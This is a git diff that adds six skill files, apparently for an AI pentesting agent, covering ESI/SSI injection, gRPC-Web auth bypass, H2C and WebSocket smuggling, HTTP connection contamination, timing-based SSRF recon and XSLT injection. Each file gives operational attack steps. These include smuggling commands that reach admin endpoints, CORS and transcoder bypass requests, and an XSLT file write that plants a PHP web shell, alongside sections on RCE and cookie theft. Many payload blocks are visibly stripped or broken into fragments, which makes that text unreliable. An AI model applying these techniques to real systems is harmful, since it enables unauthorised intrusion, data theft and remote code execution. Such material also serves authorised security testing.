diff --git a/capabilities/web-security/skills/esi-injection/SKILL.md b/capabilities/web-security/skills/esi-injection/SKILL.md new file mode 100644 index 0000000..3955c24 --- /dev/null +++ b/capabilities/web-security/skills/esi-injection/SKILL.md @@ -0,0 +1,134 @@ +--- +name: esi-injection +description: Inject ESI/SSI tags to achieve XSS, cookie theft, SSRF, or WAF bypass via edge/cache layer processing. Use when target has CDN/cache layer (Varnish, Squid, Akamai, Fastly) or serves .shtml files. +--- + +# ESI & SSI Injection + +Edge Side Includes (ESI) and Server Side Includes (SSI) are processed by cache/proxy layers, not the application. If user input reaches ESI/SSI-processed responses, you bypass application-level defenses entirely — the cache layer executes your tags before the app even sees them. + +## Detection + +**ESI indicators:** +- Response header: `Surrogate-Control: content="ESI/1.0"` +- CDN/cache layer present (Varnish, Squid, Akamai ETS, Fastly, NodeJS esi) + +**SSI indicators:** +- File extensions: `.shtml`, `.shtm`, `.stm` +- `o +``` +If rendered as `hello` (comment stripped, text joined) → ESI is processing. + +**OOB detection:** +```html + +``` +Hit on callback = confirmed. + +## ESI Software Capabilities + +| Software | Includes | Vars | Cookie Access | Upstream Headers | Host Whitelist | +|----------|----------|------|---------------|------------------|----------------| +| Squid3 | Yes | Yes | Yes | Yes | **No** | +| Varnish | Yes | No | No | Yes | Yes | +| Fastly | Yes | No | No | No | Yes | +| Akamai ETS | Yes | Yes | Yes | No | **No** | +| NodeJS esi | Yes | Yes | Yes | No | No | + +**Key**: Squid3 and Akamai have no host whitelist — `` works directly. Varnish/Fastly require the included host to be whitelisted. + +## XSS via ESI + +```html + +``` + +**WAF bypass** — ESI comments break up blocked keywords: +```html +ipt>alert(1)ript> +error=alert(1)> +``` + +**Variable-based bypass (Akamai/Squid):** +```html +x=>alert(1)> +``` + +## Cookie Theft + +**Exfil via include (Squid/Akamai):** +```html + + +``` + +**HttpOnly reflection (render cookie in page):** +```html + +``` + +**HttpOnly + XSS combo:** +```html + +``` + +## SSRF + +```html + + +``` + +## Header Injection / Open Redirect + +```html + +``` + +**CRLF via ESI (CVE-2019-2438):** +```html + + + +``` + +## ESI + XSLT = XXE Chain + +If ESI supports `dca="xslt"`: +```html + +``` +The XSL payload triggers XXE for file read or further SSRF. + +## SSI Payloads + +**Info disclosure:** +```html + + +``` + +**File inclusion:** +```html + +``` + +**RCE:** +```html + +``` + +## Chain With +- xslt-injection (ESI+XSLT→XXE escalation) +- blind-ssrf-chains (ESI include to internal services) +- csp-bypass (ESI-injected scripts bypass app-level CSP) +- web-cache-deception-path (poison cached ESI responses) + +## Reference +- https://gosecure.ai/blog/2018/04/03/beyond-xss-edge-side-include-injection/ (GoSecure, ESI injection research) +- https://gosecure.ai/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/ (Implementation-specific abuse) diff --git a/capabilities/web-security/skills/grpc-web-pentest/SKILL.md b/capabilities/web-security/skills/grpc-web-pentest/SKILL.md new file mode 100644 index 0000000..7a96564 --- /dev/null +++ b/capabilities/web-security/skills/grpc-web-pentest/SKILL.md @@ -0,0 +1,112 @@ +--- +name: grpc-web-pentest +description: Pentest gRPC-Web services via CORS abuse, JSON transcoder bypass, and payload manipulation. Use when target serves application/grpc-web content type, has Envoy/APISIX proxy, or JS bundles contain protobuf service definitions. +--- + +# gRPC-Web Pentesting + +gRPC-Web wraps protobuf in HTTP/1.1 for browser clients. The translation layer (Envoy, APISIX, grpcwebproxy) introduces attack surface absent in native gRPC. + +## Detection + +- Content-Type: `application/grpc-web` or `application/grpc-web-text` +- `x-grpc-web: 1` header in requests +- JS bundles importing `grpc-web` or containing `.proto` service paths +- Envoy proxy headers (`x-envoy-upstream-service-time`) + +## Recon: Extract Services from JS + +JS bundles embed service paths and message schemas: +```bash +# grep for service method paths (pkg.Service/Method format) +grep -oP '[a-zA-Z0-9_.]+/[A-Z][a-zA-Z]+' main.*.js | sort -u + +# Find proto message field definitions +grep -oP 'proto\.[a-zA-Z]+\.[a-zA-Z]+' main.*.js | sort -u +``` + +Also check for `buf` reflection: +```bash +buf curl --protocol grpcweb https://target.tld --list-methods +``` + +## CORS on gRPC-Web + +gRPC-Web requires CORS for browser calls. Test the proxy's CORS config: +```bash +curl -I -X OPTIONS https://target.tld/pkg.Service/Method \ + -H 'Origin: https://evil.tld' \ + -H 'Access-Control-Request-Method: POST' \ + -H 'Access-Control-Request-Headers: content-type,x-grpc-web,authorization' +``` + +Vulnerable if: `Access-Control-Allow-Origin: https://evil.tld` + `Access-Control-Allow-Credentials: true`. This enables cross-origin authenticated gRPC calls from attacker page. + +## JSON Transcoder Bypass + +Many gRPC-Web proxies also accept `application/json` via gRPC-JSON transcoding. This transcoder path often has **different auth enforcement**: +```bash +# Try JSON instead of protobuf — may bypass gRPC interceptors/auth middleware +curl -X POST https://target.tld/pkg.Service/Method \ + -H 'Content-Type: application/json' \ + -d '{"field":"value"}' +``` + +If the JSON transcoder responds when protobuf requires auth → auth bypass. + +## Making Requests + +**With buf (easiest):** +```bash +buf curl --protocol grpcweb \ + -H 'Authorization: Bearer TOKEN' \ + -d '{"user_id":"1337"}' \ + https://target.tld/pkg.Service/GetUser +``` + +**Raw binary (without buf):** + +gRPC-Web frame format: 1 byte flags + 4 bytes length (big-endian) + protobuf payload. + +```bash +# Use protoscope to craft protobuf, then frame it +echo '1: {"admin"}' | protoscope -s | python3 -c " +import sys; p=sys.stdin.buffer.read(); sys.stdout.buffer.write(b'\x00'+len(p).to_bytes(4,'big')+p) +" > body.bin + +curl -X POST https://target.tld/pkg.Service/Method \ + -H 'Content-Type: application/grpc-web' \ + -H 'x-grpc-web: 1' \ + --data-binary @body.bin +``` + +## Payload Manipulation + +**Field injection** — add fields the client never sends: +```bash +# Client sends field 1 (name). Add field 99 (role) that backend reads but client omits. +echo '1: {"user"} 99: {"admin"}' | protoscope -s +``` + +**Type confusion** — swap field wire types: +```bash +# Field 2 is normally varint (int). Send as length-delimited (string). +echo '2: {"not_a_number"}' | protoscope -s +``` + +**Proxy header injection (Envoy):** +```bash +curl -X POST https://target.tld/pkg.Service/Method \ + -H 'x-envoy-original-path: /admin.AdminService/DeleteUser' \ + -H 'Content-Type: application/grpc-web' \ + --data-binary @body.bin +``` + +## Chain With +- parser-differential-bypass (JSON transcoder vs protobuf validation differences) +- auth-matrix-testing (test each gRPC method across roles) +- type-confusion-testing (protobuf type coercion) +- protoscope for wire-level payload crafting + +## Reference +- https://grpc.io/docs/platforms/web/ (gRPC-Web protocol spec) diff --git a/capabilities/web-security/skills/h2c-websocket-smuggling/SKILL.md b/capabilities/web-security/skills/h2c-websocket-smuggling/SKILL.md new file mode 100644 index 0000000..e3f14ed --- /dev/null +++ b/capabilities/web-security/skills/h2c-websocket-smuggling/SKILL.md @@ -0,0 +1,107 @@ +--- +name: h2c-websocket-smuggling +description: Bypass reverse proxy ACLs via H2C upgrade or WebSocket tunnel. Use when proxy blocks internal paths but forwards Upgrade headers, or when standard CL.TE/TE.CL smuggling fails. +--- + +# H2C & WebSocket Smuggling + +Proxy sees `Upgrade: h2c` or `Upgrade: websocket`, establishes persistent tunnel, stops inspecting individual requests. You now talk directly to the backend, bypassing path-based ACLs, WAF rules, and auth checks enforced at the proxy layer. + +## When This Beats Standard Smuggling + +- CL.TE/TE.CL/TE.0 all fail (proxy and backend agree on body parsing) +- Proxy enforces path ACLs (`/admin` blocked) but forwards upgrade headers +- Target has WebSocket endpoints (even broken ones) + +## H2C Smuggling + +### Required Headers (all three) +```http +GET / HTTP/1.1 +Host: target.com +Upgrade: h2c +HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA +Connection: Upgrade, HTTP2-Settings +``` + +### Proxy Vulnerability Matrix + +**Inherently vulnerable** (forward upgrade headers by default): +- HAProxy, Traefik, Nuster + +**Vulnerable if misconfigured** (forward when `proxy_pass` or backend config allows): +- AWS ALB/CLB, nginx, Apache, Squid, Varnish, Kong, Envoy, Apache Traffic Server + +### Key Insight +Regardless of `proxy_pass` path (e.g. `http://backend:9999/socket.io`), the upgraded connection defaults to `http://backend:9999`. You can access **any** path on the backend — not just the configured proxy path. + +### Exploitation +```bash +# BishopFox h2csmuggler — sends upgrade then HTTP/2 requests through the tunnel +h2csmuggler -x https://target.com/ --test +h2csmuggler -x https://target.com/ -X GET /admin +h2csmuggler -x https://target.com/ -X POST /internal/api/users -d '{"role":"admin"}' +``` + +Alternative: Assetnote h2csmuggler (`pip install h2csmuggler`). + +## WebSocket Smuggling + +Two scenarios, both exploit proxy misvalidation of the WebSocket handshake. + +### Scenario 1: Invalid Version (no SSRF required) + +Backend has public WebSocket API + blocked internal REST API. + +1. Send `Upgrade: websocket` with **invalid** `Sec-WebSocket-Version: 999` +2. Proxy forwards without validating version +3. Backend responds `426 Upgrade Required` (handshake fails) +4. Proxy ignores the 426, assumes tunnel established +5. TCP tunnel open — send REST requests to internal API + +```http +GET /websocket HTTP/1.1 +Host: target.com +Upgrade: websocket +Connection: Upgrade +Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== +Sec-WebSocket-Version: 999 +``` + +**Affected**: Varnish (wontfix), Envoy <= 1.8.0. + +### Scenario 2: Health Check + SSRF (requires external callback) + +1. POST to health check endpoint with `Upgrade: websocket` header +2. Health check calls external resource (SSRF to attacker server) +3. Attacker returns `HTTP/1.1 101 Switching Protocols` +4. Proxy sees 101, assumes WebSocket established +5. Tunnel open to internal backend + +**Requirement**: SSRF capability on any backend endpoint that triggers outbound fetch. + +## Decision Logic + +``` +Proxy detected blocking internal paths + ├── Does proxy forward Upgrade headers? + │ ├── Test: curl -I -H "Upgrade: h2c" -H "Connection: Upgrade, HTTP2-Settings" ... + │ │ └── 101 or connection upgrade → H2C smuggle + │ └── No upgrade → standard smuggling or other bypass + ├── Does target have WebSocket endpoints? + │ ├── Test invalid version (Scenario 1) + │ │ └── 426 but proxy keeps connection → WebSocket smuggle + │ └── Test health check + SSRF (Scenario 2) + │ └── 101 from attacker callback → WebSocket smuggle + └── Neither works → try h2-connect-internal-scan, te0-request-smuggling +``` + +## Chain With +- blind-ssrf-chains (access internal services through the tunnel) +- 403-bypass (tunnel bypasses proxy-layer ACLs) +- h2-connect-internal-scan (alternative HTTP/2 CONNECT method) + +## Reference +- https://bishop.fox.com/blog/h2c-smuggling-request (BishopFox, original research) +- https://blog.assetnote.io/2021/03/18/h2c-smuggling/ (Assetnote) +- https://github.com/0ang3el/websocket-smuggle (WebSocket smuggle labs) diff --git a/capabilities/web-security/skills/http-connection-contamination/SKILL.md b/capabilities/web-security/skills/http-connection-contamination/SKILL.md new file mode 100644 index 0000000..746e191 --- /dev/null +++ b/capabilities/web-security/skills/http-connection-contamination/SKILL.md @@ -0,0 +1,69 @@ +--- +name: http-connection-contamination +description: Misroute requests across subdomains via HTTP/2+ connection coalescing on shared infrastructure with wildcard TLS certs. Use when target has multiple subdomains on same IP with wildcard cert and reverse proxy. +--- + +# HTTP Connection Contamination + +Browsers reuse HTTP/2+ connections across different origins when they share an IP and TLS certificate. If the reverse proxy routes by first request's Host header and reuses that routing for subsequent requests on the same connection, you can force requests to `secure.example.com` through `wordpress.example.com`'s backend. + +## Prerequisites (all required) + +1. Multiple subdomains resolve to **same IP** +2. **Wildcard TLS cert** covers both (e.g. `*.example.com`) +3. Reverse proxy uses **first-request routing** (routes connection based on initial Host header, not per-request) +4. Different backend applications behind different subdomains + +## Why HTTP/3 Makes This Worse + +HTTP/2 coalescing requires same IP + shared cert. HTTP/3 (QUIC) relaxes the IP match requirement — the browser can coalesce connections to different IPs if the cert covers both origins. This broadens the attack surface without needing MITM or shared infrastructure. + +## Probe + +### Step 1: Check coalescing conditions +```bash +# Same IP? +dig +short sub1.example.com sub2.example.com + +# Shared cert? (check SAN/wildcard) +echo | openssl s_client -connect sub1.example.com:443 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alternative Name" +``` + +### Step 2: Test for first-request routing +In browser DevTools (Network tab), observe if requests to `sub2.example.com` reuse the connection ID established for `sub1.example.com`. If the response content comes from sub1's backend, the proxy uses first-request routing. + +### Step 3: Reproduce +```javascript +// From attacker page or XSS context: +// 1. Fetch to establish connection to attacker-controlled subdomain +fetch('https://attacker-sub.example.com/'); +// 2. Subsequent fetch coalesces onto same connection +// but proxy routes to attacker-sub's backend +fetch('https://victim-sub.example.com/sensitive-page'); +``` + +## Impact Scenarios + +| Setup | Attack | Impact | +|-------|--------|--------| +| WordPress + admin panel on same infra | Route admin requests through WordPress backend | XSS via WordPress → admin session theft | +| API + web frontend shared cert | API requests misrouted to frontend | Auth bypass, CORS confusion | +| Multi-tenant customer portals | Tenant A requests routed to tenant B backend | Cross-tenant data access | +| CDN + origin shared cert | Poison CDN connection to route through origin | Cache poisoning, WAF bypass | + +## Detection Checklist + +- [ ] Multiple subdomains on same IP (`dig +short`) +- [ ] Wildcard or multi-SAN certificate +- [ ] Different applications behind different subdomains +- [ ] Reverse proxy with connection pooling (nginx, HAProxy, Envoy) +- [ ] Browser DevTools shows connection reuse across origins +- [ ] Response from wrong backend confirms misrouting + +## Chain With +- web-cache-deception-path (poison cache via misrouted request) +- self-xss-escalation (XSS on one subdomain → contaminate connection to sensitive subdomain) +- oauth-flow-hijack (misroute OAuth callback to attacker-controlled backend) + +## Reference +- https://portswigger.net/research/http-3-connection-contamination (James Kettle, PortSwigger) diff --git a/capabilities/web-security/skills/timing-attack-recon/SKILL.md b/capabilities/web-security/skills/timing-attack-recon/SKILL.md new file mode 100644 index 0000000..85e91f1 --- /dev/null +++ b/capabilities/web-security/skills/timing-attack-recon/SKILL.md @@ -0,0 +1,109 @@ +--- +name: timing-attack-recon +description: Discover hidden parameters, headers, and scoped SSRFs via server-side timing differentials. Use when traditional fuzzing returns uniform responses but you suspect hidden backend logic or internal proxy routing. +--- + +# Timing Attack Recon + +Measure response time deltas to find attack surface invisible in response bodies. Server-side operations (DNS lookup, DB query, log write, proxy routing) add 5-50ms. Isolate these from network jitter using single-packet synchronization. + +## Why This Exists + +Standard fuzzing keys on status codes, body diffs, content-length. When the app returns identical responses regardless of input, timing is the only remaining signal. This technique found hidden parameters and scoped SSRFs that content-based fuzzing missed entirely. + +## Eliminate Network Jitter First + +Server-side deltas are 1-50ms. Network jitter is 10-100ms+. You **must** eliminate jitter or you'll drown in noise. + +**HTTP/2 single-packet**: Send N requests multiplexed in one TCP packet. All arrive within ~1ms. Compare response times — delta is pure server-side. + +**HTTP/1.1 last-byte sync**: Open N connections, send all but final byte, release final bytes simultaneously. ~4ms spread. + +Use Turbo Intruder's single-packet attack mode or `curl --parallel` over H2. + +## Baseline + +Before testing, establish what "normal" looks like: +1. Send 20 identical requests via single-packet +2. Record response times +3. Calculate mean and stddev +4. Anything >2 stddev above mean on a specific input = signal + +## Hidden Parameter Discovery + +Add candidate parameters one at a time. Parameters that trigger server-side logic add measurable delay. + +**Why parameters cause delays:** +- DNS lookup on parameter value (app tries to resolve it) +- Log write for unexpected parameter name +- Validation/regex check on specific parameter names +- DB query triggered by parameter presence (feature flags, debug modes) + +```bash +# Manual with curl timing +for param in debug admin internal test verbose trace; do + time curl -s -o /dev/null -w "%{time_total}" "https://target.com/api?${param}=1" +done +``` + +**Better**: Use Param Miner (Burp) which automates this with statistical analysis, or Turbo Intruder with timing comparison. + +Consistent 5ms+ delta on a specific parameter = that parameter triggers backend logic. Investigate further even if the response body is unchanged. + +## Hidden Header Discovery + +Same principle. Add candidate headers, measure timing. + +Priority headers to test: +- `X-Forwarded-For`, `X-Real-IP`, `X-Original-URL`, `X-Rewrite-URL` +- `X-Debug`, `X-Debug-Token`, `X-Admin`, `X-Internal` +- `X-Forwarded-Host`, `X-Forwarded-Proto`, `X-Forwarded-Scheme` + +## Scoped SSRF Detection via Timing + +This is the highest-value technique. Detect proxy endpoints that route to internal services — even when responses are identical. + +**How it works**: A proxy that allows certain domains routes requests internally (fast). Blocked domains either timeout or get rejected (different timing). Even if both return `200 OK` with identical bodies, the timing differs. + +``` +?url=https://google.com → 200ms (external, blocked or slow) +?url=https://internal.corp.com → 45ms (internal, routed directly) +?url=https://10.0.0.1 → 48ms (internal, routed directly) +``` + +### Enumerate Internal Targets +Once you've identified a scoped proxy via timing: +1. Feed it your subdomain list — timing reveals which resolve internally +2. Test RFC1918 ranges on common ports (80, 443, 8080, 8443) +3. Use `surf -l hosts.txt` to pre-filter candidates that are internal-only + +### Front-End Impersonation +If the proxy respects `X-Forwarded-For`: +``` +Request without header: 150ms +Request with X-Forwarded-For: 10.0.0.1: 45ms (internal routing!) +``` +The header convinced the proxy you're internal. Now access internal-only endpoints. + +## Decision Logic + +``` +Target returns uniform responses to all inputs + ├── Establish timing baseline (20 identical requests, single-packet) + ├── Fuzz parameters → any with >2 stddev delay? + │ └── Yes → investigate that parameter (feature flag? debug? SSRF?) + ├── Fuzz headers → any with timing delta? + │ └── Yes → test X-Forwarded-For/Host impersonation + ├── Suspect proxy/SSRF endpoint? + │ ├── Compare timing: external domain vs internal IP vs internal subdomain + │ └── Fast response on internal = scoped SSRF → enumerate internal services + └── All uniform → timing vector exhausted, try other approaches +``` + +## Chain With +- blind-ssrf-chains (exploit the scoped SSRF you discovered) +- 403-bypass (hidden headers may bypass ACLs) +- race-condition-single-packet (same single-packet technique, different goal) + +## Reference +- https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work (James Kettle, 2023) diff --git a/capabilities/web-security/skills/xslt-injection/SKILL.md b/capabilities/web-security/skills/xslt-injection/SKILL.md new file mode 100644 index 0000000..63e8f6e --- /dev/null +++ b/capabilities/web-security/skills/xslt-injection/SKILL.md @@ -0,0 +1,108 @@ +--- +name: xslt-injection +description: Exploit XSLT processor injection for file read, SSRF, and RCE. Use when target processes XML with user-influenced stylesheets — file upload, PDF generation, XML transformation endpoints. +--- + +# XSLT Injection + +User input reaches an XSLT stylesheet processed server-side. Capabilities depend on processor and version — fingerprint first, then escalate. + +## Entry Points +- File upload accepting `.xsl`/`.xslt` +- Parameters controlling stylesheet selection or content +- XML processing with external stylesheet references +- PDF/document generation from XML input + +## Step 1: Fingerprint Processor + +```xml + + +Version: +Vendor: + +Product: + + + +``` + +## Step 2: File Read (pick method by capability) + +**`unparsed-text()` — XSLT 2.0+ (Saxon)** +```xml + +``` + +**`document()` — All versions** +```xml + +``` + +**XXE entity — when DTD processing enabled** +```xml +]> +... +&xxe; +``` + +**PHP `file_get_contents` — when PHP namespace registered** +```xml + +``` + +## Step 3: SSRF + +```xml + + + + + +``` + +Port scan by varying target — timing/error differentials reveal open ports. + +## Step 4: RCE (PHP processors) + +```xml + +``` + +Alternatives: `system()`, `exec()`, `passthru()`. Also `assert()` with `var_dump(scandir('.'))` for directory listing. + +## Step 5: File Write + +**XSLT 2.0+ `result-document`** +```xml + +<?php system($_GET['c']); ?> + +``` + +**Xalan-J `redirect:write`** +```xml + +... +``` + +## Capability Matrix + +| Technique | XSLT 1.0 | XSLT 2.0+ | Requires PHP | +|-----------|-----------|------------|--------------| +| `system-property()` fingerprint | Yes | Yes | No | +| `document()` file/SSRF | Yes | Yes | No | +| `unparsed-text()` file read | No | Yes | No | +| XXE entities | Yes | Yes | No | +| `php:function()` RCE | Yes | Yes | Yes | +| `result-document` write | No | Yes | No | +| `xsl:include` SSRF | Yes | Yes | No | + +## Chain With +- blind-ssrf-chains (SSRF via document()/include to internal services) +- write-path-to-rce (file write → framework view resolution → RCE) + +## Reference +- https://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf